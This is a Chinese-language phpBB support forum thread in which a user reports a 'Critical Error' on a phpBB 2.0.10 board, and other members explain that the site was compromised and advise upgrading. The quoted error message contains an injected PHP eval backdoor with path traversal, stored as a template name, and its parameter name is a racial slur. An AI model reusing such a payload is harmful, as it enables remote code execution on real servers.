[問題]請問Critical Error的問題

phpBB Installation & Usage Support
phpBB 2 安裝於各類型作業平台之問題討論;外掛問題,請到相關版面依發問格式發表!
(發表文章請按照公告格式發表,違者砍文)

版主: 版主管理群

版面規則
本區是討論關於 phpBB 2.0.X 架設安裝上的問題,只要有安裝任何外掛,請到外掛討論相關版面按照公告格式發表。
(發表文章請按照公告格式發表,違者砍文)
主題已鎖定
popson
星球普通子民
星球普通子民
文章: 5
註冊時間: 2005-04-16 13:00

[問題]請問Critical Error的問題

文章 popson »

●架設主機作業系統:Windows 2000
●快速架站程式:Appserv 2.4.1
●您的上網方式:學術網
●您的 phpBB2 版本:phpBB 2.0.10
●您的 domain(網域名稱) :http://spider.cs.ccu.edu.tw/
●您的 phpBB2 連結網址:http://spider.cs.ccu.edu.tw/phpbb2/
●錯誤代碼:

代碼: 選擇全部

phpBB : Critical Error 

Could not open aaa=12;eval(stripslashes($_REQUEST[nigga]));exit();// /../../../../../../../../../../../../../../../../../../../tmp template config file

DEBUG MODE

Line : 327
File : j:\appserv\www\phpbb2\includes\functions.php 
●錯誤狀態:
我發現我的 J:\AppServ\www\phpbb2\templates 底下只有subSilver這個Template而已
可是不知為何在控制台裡Template的選單除了subSilver還有另一個Template可以選
基於好奇我選了下去 儲存設定後就在也沒辦法恢復了 Orz..
上面這個code錯誤訊息是否代表'TEMPLATE_CONFIG'儲存到了另一個Template
不知道哪位大大可以交我怎麼樣把他設定回儲存成subSilver的Template設定

---
不好意思..這次應該有遵守發文規則了吧?
popson
星球普通子民
星球普通子民
文章: 5
註冊時間: 2005-04-16 13:00

文章 popson »

我發現mySQL資料庫中phpbb2的phpbb_themes table中\r
除了subSilver這個Template資料外 還多一些不知道哪裡來的資料
錯誤訊息如下圖
圖檔

而j:\appserv\www\phpbb2\includes\functions.php這個檔案裡的$style似乎是存成2了
所以在load template時才會一直load themes_id = 2這個錯誤的template
下面是function.ini當中的code(就是顯示error message的code部份)

代碼: 選擇全部

function setup_style($style)
{
	global $db, $board_config, $template, $images, $phpbb_root_path;

	$sql = "SELECT * FROM " . THEMES_TABLE . " WHERE themes_id = $style";
	if ( !($result = $db->sql_query($sql)) )
	{
		message_die(CRITICAL_ERROR, 'Could not query database for theme info');
	}

	if ( !($row = $db->sql_fetchrow($result)) )
	{
		message_die(CRITICAL_ERROR, "Could not get theme data for themes_id [$style]");
	}

	$template_path = 'templates/' ;
	$template_name = $row['template_name'] ;

	$template = new Template($phpbb_root_path . $template_path . $template_name);

	if ( $template )
	{
		$current_template_path = $template_path . $template_name;
		@include($phpbb_root_path . $template_path . $template_name . '/' . $template_name . '.cfg');

		if ( !defined('TEMPLATE_CONFIG') )
		{
			message_die(CRITICAL_ERROR, "Could not open $template_name template config file", '', __LINE__, __FILE__);
		}
....
....
}
請問各位大大該怎麼讓$style的值回復成1呢?
popson
星球普通子民
星球普通子民
文章: 5
註冊時間: 2005-04-16 13:00

文章 popson »

已解決\r
請版主刪除吧\r
謝謝!
Mac
百戰天龍馬蓋先
百戰天龍馬蓋先
文章: 2590
註冊時間: 2003-02-02 02:28
來自: MacphpBBMOD
聯繫:

文章 Mac »

你的討論版好像是被植入木馬耶 ^^"

~Mac
+ 關於 phpBB 使用問題請在版面發問,私人訊息提供其他不相干或是隱私的事情聯絡之用。

phpBB 官網 | 竹貓星球 | MacphpBBMOD | 我的服務
popson
星球普通子民
星球普通子民
文章: 5
註冊時間: 2005-04-16 13:00

文章 popson »

真的被駭客入侵了阿!?..@@||
請問是怎麼看出來的..
要怎麼解決呢..?

這討論版只是架起來應付用的
沒什麼好駭客的呀 ><
希望不要被拿來當跳板做壞事..
kp3011
竹貓忠實會員
竹貓忠實會員
文章: 384
註冊時間: 2004-05-15 21:16
來自: HKG

文章 kp3011 »

popson 寫:真的被駭客入侵了阿!?..@@||
請問是怎麼看出來的..
要怎麼解決呢..?

這討論版只是架起來應付用的
沒什麼好駭客的呀 ><
希望不要被拿來當跳板做壞事..
看出來: 之前也有一堆文章這樣子求助的 :wink:
解決: 更新到新版本吧
●架設主機作業系統:CentOS 4.7
●您的 phpBB2 版本:phpBB 3.0.4
●您的 domain(網域名稱):www.hkbf.org | forum.hkbrda.org
主題已鎖定

回到「phpBB 2 安裝與使用」